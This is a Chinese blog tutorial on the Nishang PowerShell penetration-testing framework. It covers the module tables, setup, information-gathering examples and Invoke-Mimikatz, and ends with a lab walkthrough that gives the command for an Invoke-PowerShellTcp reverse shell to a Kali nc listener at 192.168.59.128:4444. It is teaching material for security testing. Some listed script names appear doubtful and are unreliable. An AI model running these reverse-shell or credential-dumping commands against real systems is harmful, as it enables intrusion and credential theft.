当前位置: 首页 > news >正文

Nishang PowerShell工具:原理详解+使用方法+渗透实战

目录

一、Nishang工具简介

1、功能模块

2、模块脚本

二、安装方法

1、下载方法

2、目录结构

3、使用方法

(1)报错1解决方法

(2)报错2解决方法

三、使用示例

1、Get-Command -Module nishang

2、Get-Information

3、Check-VM 

4、Invoke-Mimikatz

四、反弹Shell渗透实战

1、攻击机 (Kali) 上监听:

2、目标机 (Windows) 上执行:

3、反弹shell连接成功

4、总结分析


Nishang是一款基于PowerShell的渗透测试框架,提供从信息收集到权限维持的全流程攻击工具集。其核心功能包括漏洞利用、权限提升、横向移动、数据渗出等模块,覆盖渗透测试完整生命周期。工本文讲解其原理、安装和使用方法,并通过多个示例讲解应用实例,通过反弹shell进行渗透实战。

一、Nishang工具简介

Nishang 是一个基于 PowerShell 的渗透测试框架和工具集合,专为红队操作渗透测试和** offensive security** 而设计。其名称在印地语(Hindi)中意为“乐趣”或“恶作剧”,这恰如其分地体现了它的用途——让安全测试过程更高效(甚至有趣)。

1、功能模块

Nishang 的功能覆盖了渗透测试的整个生命周期,从初始信息收集到最终的权限维持。其功能模块可以概括为以下几个核心阶段:

2、模块脚本

Nishang 框架按功能划分为多个核心模块,主要包括信息收集(Gather)、漏洞利用与权限提升(Exploits & Privesc)、持久化控制(Persistence)、横向移动(Lateral Movement)、数据渗出与通信(Exfiltration & Communication)等,此外还有编码工具、哈希提取等辅助模块,各模块专注于渗透测试不同阶段的需求,通过模块化设计实现功能的灵活调用与组合,覆盖从初始接入到长期控制的全流程攻击场景,其代表性脚本与功能描述如下表所示。

模块类别代表性脚本功能描述

信息收集

(Gather)

Get-Information收集目标系统详细信息,包括操作系统版本、补丁、用户列表、进程、服务等。
Get-WLANKey提取本地保存的所有 Wi-Fi 网络名称及密码(需管理员权限)。
Get-BrowserData从 IE、Chrome、Firefox 等浏览器中获取保存的密码、历史记录、书签等数据。
Get-Keystrokes记录目标系统的键盘输入(键盘记录器),获取敏感信息如账号密码。

漏洞利用与权限提升

(Exploits & Privesc)

Invoke-MS17010利用永恒之蓝(MS17-010)漏洞,对远程主机执行代码注入,获取 Shell。
PowerUp(集成模块)检测并利用服务权限配置错误、注册表漏洞、可写服务等实现本地权限提升。
Invoke-Shellcode将生成的 shellcode 注入进程,实现漏洞利用后的代码执行(如结合缓冲区溢出)。

持久化控制

(Persistence)

New-RegistryPersistence在注册表启动项中植入 PowerShell 脚本,实现开机自启后门。
Add-ScheduledTask创建计划任务,定期执行指定脚本或命令,维持长期控制。
New-User创建隐藏管理员用户,作为持久化访问通道(如添加到管理员组)。

横向移动

(Lateral Movement)

Invoke-PsExec模拟 PsExec 功能,通过 SMB 协议在远程主机执行命令或启动服务。
Invoke-WMICommand利用 WMI 服务远程执行 PowerShell 命令,无需直接登录目标主机。
Invoke-Command通过 PowerShell Remoting(WinRM)在远程主机建立会话并执行命令。
数据渗出与通信(Exfiltration & Communication)Out-FileExfil将文件内容分割为小块,通过 HTTP/HTTPS 协议发送到远程服务器(数据渗出)。
Invoke-PowerShellTcp创建反向 TCP Shell,目标主机主动连接攻击机,支持加密通信(-SSL 参数)。
Invoke-DNSExfiltration利用 DNS 查询隧道传输数据,将文件内容编码为 DNS 域名,绕过常规网络监控。
其他辅助工具Encode-Script对 PowerShell 脚本进行 Base64 编码,规避基于特征码的检测(免杀辅助)。
Get-PassHashes提取本地系统中的用户密码哈希(如 NTLM 哈希),用于离线破解或 Pass-the-Hash 攻击。

二、安装方法

1、下载方法

下载如下githbug库,点击右上角 Code 按钮,选择 Download ZIP,解压到本地目录,如下所示。

https://github.com/samratashok/nishang.git

解压后目录内容如下所示,注意nishang.psm1是最关键文件, Nishang 的 PowerShell 模块文件。

2、目录结构

如上图所示,目录中共有16个子文件夹,每个子目录都针对一个特定的攻击阶段或技术,允许渗透测试人员根据需要进行灵活选择和组合,具体如下表所示。

文件夹核心功能描述典型脚本示例
Gather信息收集模块,获取目标系统各类敏感信息与环境数据。Get-Information.ps1(系统信息)、Get-WLANKey.ps1(Wi-Fi 密码)
Exploits漏洞利用模块,针对系统或应用漏洞的远程代码执行脚本。Invoke-MS17010.ps1(永恒之蓝利用)、Invoke-JavaRCE.ps1(Java 漏洞)
Privesc权限提升模块,检测并利用本地配置缺陷提升权限。PowerUp.ps1(权限漏洞检测)、Invoke-ServiceAbuse.ps1(服务权限滥用)
Persistence持久化模块,通过系统配置实现长期驻留控制。New-RegistryPersistence.ps1(注册表后门)、Add-ScheduledTask.ps1(计划任务)
Lateral Movement横向移动模块,支持内网跨主机远程控制。Invoke-PsExec.ps1(SMB 远程执行)、Invoke-WMICommand.ps1(WMI 远程命令)
Exfiltration数据渗出模块,将窃取数据传输至控制端。Out-WebRequestExfil.ps1(HTTP 渗出)、Invoke-DNSExfiltration.ps1(DNS 隧道)
ShellsShell 生成模块,提供各类交互式 Shell 通信脚本。Invoke-PowerShellTcp.ps1(TCP 反向 Shell)、Invoke-PowerShellUdp.ps1(UDP Shell)
Misc杂项辅助模块,包含编码、环境检测等工具。Encode-Script.ps1(脚本编码)、Get-PSVersion.ps1(PowerShell 版本检测)
Antak反取证模块,清除操作痕迹以规避溯源。Clear-EventLogs.ps1(清除事件日志)、Remove-PSHistory.ps1(删除命令历史)
Backdoors后门模块,植入隐蔽的长期访问通道。New-BackdoorUser.ps1(隐藏管理员用户)、Invoke-PersistentBackdoor.ps1(持久化后门)
Bypass绕过防御模块,规避杀毒软件、应用白名单等限制。Invoke-Obfuscation.ps1(脚本混淆)、Bypass-AMSI.ps1(绕过 AMSI 检测)
Payloads攻击载荷模块,生成可执行的恶意代码片段。Create-Payload.ps1(自定义 Payload 生成)、Invoke-Shellcode.ps1(Shellcode 注入)
Scanner扫描模块,探测内网资产、漏洞或服务。Invoke-PortScan.ps1(端口扫描)、Get-LocalAdmin.ps1(本地管理员探测)
TokenManipulation令牌操作模块,利用 Windows 令牌实现权限伪造与提升。Invoke-TokenManipulation.ps1(令牌窃取)、Get-LoggedOnUsers.ps1(获取登录用户令牌)
WebWeb 攻击模块,针对 Web 应用的漏洞利用脚本。Invoke-WebShell.ps1(WebShell 管理)、Get-WebCredentials.ps1(提取 Web 账号)
WSManWinRM 模块,基于 WS-Management 协议的远程管理脚本。Invoke-WSManCommand.ps1(WinRM 远程执行)、New-WSManSession.ps1(建立 WinRM 会话)

3、使用方法

在 PowerShell 中,首先需要导入 Nishang 模块,具体命令如下所示。

Import-Module .\nishang.psm1

(1)报错1解决方法

我的本机环境提示无法运行脚本“Add-ConstrainedDelegationBackdoor.ps1”,这是因为缺少脚本的“#requires”语句指定的以下模块: ActiveDirectory。我的电脑没有安装并导入 ActiveDirectory 模块。这个模块通常只存在于:

  • 域控制器 (Domain Controller) 上。

  • 安装了 RSAT (Remote Server Administration Tools) 的 域成员服务器 或 Windows 10/11 专业版/企业版 电脑上。

这个错误只是一个警告,它并不会阻止你导入和使用 Nishang 的其他 99% 的功能。直接忽略这个红色的错误信息,继续你的测试即可。

(2)报错2解决方法

当我把Nishang工具放到虚拟机中后,执行模块加载时报错如下所示,这个错误是因为 PowerShell 的执行策略(Execution Policy)阻止了运行未签名的脚本。Nishang 脚本没有数字签名,所以被系统拒绝了。

解决方法是执行Set-ExecutionPolicy RemoteSigned 命令,这是 PowerShell 中用于配置脚本执行权限的命令,其作用是允许运行本地签名脚本和远程已签名脚本,具体规则为:本地创建的脚本无需签名即可运行,从网络下载的脚本必须经过数字签名才能执行。

​​​​​​​Set-ExecutionPolicy RemoteSigned

这条命令能直接解决你遇到的 “禁止执行脚本” 错误,原因如下:PowerShell 默认执行策略为 Restricted(禁止运行任何脚本),当你尝试导入 nishang.psm1 时,系统会因安全策略阻止未签名脚本运行,从而抛出 PSSecurityException。执行 Set-ExecutionPolicy RemoteSigned 后,策略被放宽:本地保存的 nishang.psm1 属于 “本地脚本”,无需签名即可被导入,因此能成功加载 Nishang 模块。具体如下图所示。

再次运行Import-Module .\nishang.psm1即可正常执行。

三、使用示例

1、Get-Command -Module nishang

用于列出已导入的 nishang 模块中所有可用的命令(包括脚本、函数等)。执行后,会显示 Nishang 框架中各模块提供的功能列表(如 Get-InformationInvoke-PowerShellTcp 等),帮助用户快速了解当前可调用的渗透测试工具及脚本,方便根据需求选择相应功能进行操作。

Get-Command -Module nishang

2、Get-Information

Get-Information 是 Nishang 框架中 Gather 模块下的核心信息收集脚本,主要用于全面提取目标 Windows 系统的基础信息和环境数据,为渗透测试的信息收集阶段提供关键参考。

Get-Information

其执行后会自动收集并输出多维度信息,包括但不限于:操作系统版本、补丁级别、系统架构、主机名与域名;当前登录用户、本地用户列表及用户组信息;运行中的进程、服务及启动项;网络配置(IP 地址、子网掩码、网关、DNS 服务器)、活跃网络连接及开放端口;已安装的软件、系统驱动;注册表中的关键配置(如远程桌面设置、防火墙规则)等。

这些信息能帮助测试者快速掌握目标系统的基本情况,判断系统漏洞潜在风险(如未打补丁的版本)、定位敏感用户或服务、规划后续渗透路径(如利用开放端口进行横向移动),是内网渗透初期信息摸排的重要工具。执行时需注意,部分敏感信息(如用户组详情)可能需要管理员权限才能完整获取。

3、Check-VM 

Check-VM 是 Nishang 框架中用于检测当前系统是否运行在虚拟机(VM)环境中的脚本,通过检查系统硬件信息(如主板型号、BIOS 信息、虚拟设备驱动)、注册表项(如 VMware、VirtualBox 相关键值)及进程特征(如虚拟机工具进程)等,判断系统是否处于虚拟化环境(如 VMware、VirtualBox、Hyper-V 等),帮助渗透测试者识别目标主机的运行环境,为后续调整攻击策略(如规避虚拟机检测机制)提供依据。

Check-VM 

如下所示,我在windows server2008虚拟机中运行后,提示是一台虚拟机,这是正确的。

4、Invoke-Mimikatz

Invoke-Mimikatz是 Nishang 框架中集成的一款功能强大的凭证提取工具,基于著名的 Mimikatz 工具开发,主要用于从 Windows 系统内存中提取各类敏感凭证,包括用户明文密码、NTLM 哈希、Kerberos 票据等。它通过调用系统 API 访问内存中的安全信息,能绕过常规的密码保护机制,在渗透测试中常用于获取已登录用户的凭证,为横向移动(如 Pass-the-Hash 攻击)或权限提升提供关键凭据,是内网渗透中获取凭证的核心工具之一,但需管理员权限才能充分发挥其功能。

Invoke-Mimikatz

四、反弹Shell渗透实战​​​​​​​

1、攻击机 (Kali) 上监听

在本地主机的 4444 端口启动一个 TCP 监听器,命令执行后,当前终端将处于挂起状态,持续等待传入的 TCP 连接。一旦有客户端(例如受控主机)成功连接,该监听器会立即建立一个原始的网络通信通道。此通道通常用于接收反向 Shell、实现文件传输或执行基础网络调试等操作。完整命令如下所示。

nc -nvlp 4444

其参数含义如下:

  • -n:禁用域名解析,强制仅使用 IP 地址进行连接,加快响应速度;

  • -v:启用详细输出模式,实时显示连接状态与交互信息;

  • -l:进入监听模式,使当前终端作为服务器运行;

  • -p 4444:明确指定监听的端口号为 4444。

2、目标机 (Windows) 上执行

当前主机与 Kali攻击机(IP 地址为 192.168.59.128)的 4444 端口建立一个反向 TCP 连接,并在成功连接后提供一个 PowerShell 会话。完整命令如下所示。

# 导入脚本后
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.59.128 -Port 4444
  • Invoke-PowerShellTcp
    这是 Nishang 工具集中的一个 PowerShell 函数(脚本),专门用于通过 TCP 协议建立一种称为 "PowerShell Shell" 的交互式命令行连接。

  • -Reverse
    这是最关键的一个参数。它指定了连接的方向是 “反向” 。

    • 反向 Shell (Reverse Shell): 意味着由目标机器(被控制者)主动发起连接攻击者(控制者) 的监听端口。

    • 与之相对的是 -Bind,即绑定 Shell (Bind Shell),是攻击者主动连接目标机器开放的端口。

  • -IPAddress 192.168.59.128
    这个参数告诉脚本:“你要反向连接到哪里去?”。在这里,它指定了连接的目标 IP 地址是 192.168.59.128。这通常是攻击者(控制端)机器的 IP 地址。

  • -Port 4444
    这个参数与 -IPAddress 结合使用,指定了连接的目标端口是 4444。这意味着被控制的主机将尝试连接到 192.168.59.128 的 4444 号端口。

3、反弹shell连接成功

如下所示此时连接成功,但是在kali中执行命令时会有乱码现象,比如输入ipconfig打印如下所示,出现多个问号,乱码的根源是内容编码与控制台解码方式不一致。

chcp 65001 是 Windows 命令提示符(CMD)中的编码切换命令,作用是将当前控制台的活动代码页设置为 UTF-8 编码(代码页 65001 对应 UTF-8 标准)。执行后,控制台可正确显示或输入包含中文、日文、特殊符号等的 Unicode 字符,解决默认编码(如 GBK,代码页 936)下的字符乱码问题。

chcp 65001 

4、总结分析

如下流程图清晰地展示了“反向Shell”的核心特征:由被控端主动连接控制端。这种方式通常用于绕过防火墙的入站规则限制(因为大多数防火墙允许内部主机自由地向外部发起连接),是渗透测试中非常经典的技术。

  • 准备阶段 (Setup)

    • 攻击者在自己的机器(192.168.59.128)上打开终端,启动 Netcat 监听器,在 4444 端口等待传入的连接。此时,Netcat 处于阻塞状态,等待连接。

  • 执行阶段 (Execution)

    • 通过某种方式(如漏洞利用、钓鱼邮件、已有的WebShell等),攻击者让目标机器执行了 Invoke-PowerShellTcp 命令。-Reverse 参数指明了连接方向。

  • 连接阶段 (Connection)

    • 目标机上的 PowerShell 脚本作为客户端,根据命令中的参数,主动向攻击者的IP 192.168.59.128 和端口 4444 发起一个 TCP 连接

    • 攻击者机器上的 Netcat 监听器接收到这个连接,双方握手成功,建立了一条可靠的TCP通道。

  • 交互阶段 (Interaction)

    • 连接建立后,Invoke-PowerShellTcp 脚本的核心功能开始工作:它将目标机上的 PowerShell 进程的输入、输出和错误流,全部重定向到这条刚刚建立的网络连接上。

    • 于是,攻击者在自己的 Netcat 终端中输入的每一个命令,都会发送到目标机上执行;而目标机上执行命令的结果,也会通过网络传回攻击者的终端。

    • 这样就形成了一个完整的交互式远程Shell。攻击者获得了对目标机的命令行控制权,可以执行任何PowerShell命令,就像在本地操作一样。

http://www.dtcms.com/a/354194.html

相关文章:

  • Go+Gdal 完成高性能GIS数据空间分析
  • 深度学习:常用的损失函数的使用
  • “java简单吗?”Java的“简单”与PHP的挑战:编程语言哲学-优雅草卓伊凡
  • 白话FNN、RNN、Attention和self-attention等
  • 《从有限元到深度学习:我的金属疲劳研究进阶之路》
  • 反内卷加速全产业链价值重塑 通威股份等行业龙头或率先受益
  • 基于 C# OpenCVSharp 的模板匹配检测技术方案
  • 计算机日常答疑,一起寻找问题的最优解
  • select
  • SM4加密算法
  • Karatsuba
  • 前端工程化与AI融合:构建智能化开发体系
  • 4-4.Python 数据容器 - 字典 dict(字典 dict 概述、字典的定义与调用、字典的遍历、字典的常用方法)
  • CPU 虚拟化之Cpu Models
  • 代码随想录刷题Day43
  • 时间轮定时器HashedWheelTimer
  • WSL设置静态IP
  • window程序打包
  • Libvio网站与客户端访问故障排查指南(专业版)
  • 什么是低空经济?
  • JMeter 5.3 性能测试:文件下载脚本编写与导出文件接收完整指南
  • QT鼠标事件中的QMouseEvent :e
  • 深度学习---卷积神经网络CNN
  • PLC_博图系列☞基本指令”S_ODT:分配接通延时定时器参数并启动“
  • HTML5超详细学习内容
  • 程序(进程)地址空间(1)
  • 基于MATLAB/Simulink的单机带负荷仿真系统搭建
  • LeetCode-23day:技巧经典
  • 疯狂星期四文案网第52天运营日记
  • 野火STM32Modbus主机读取寄存器/线圈失败(二)-解决CRC校验错误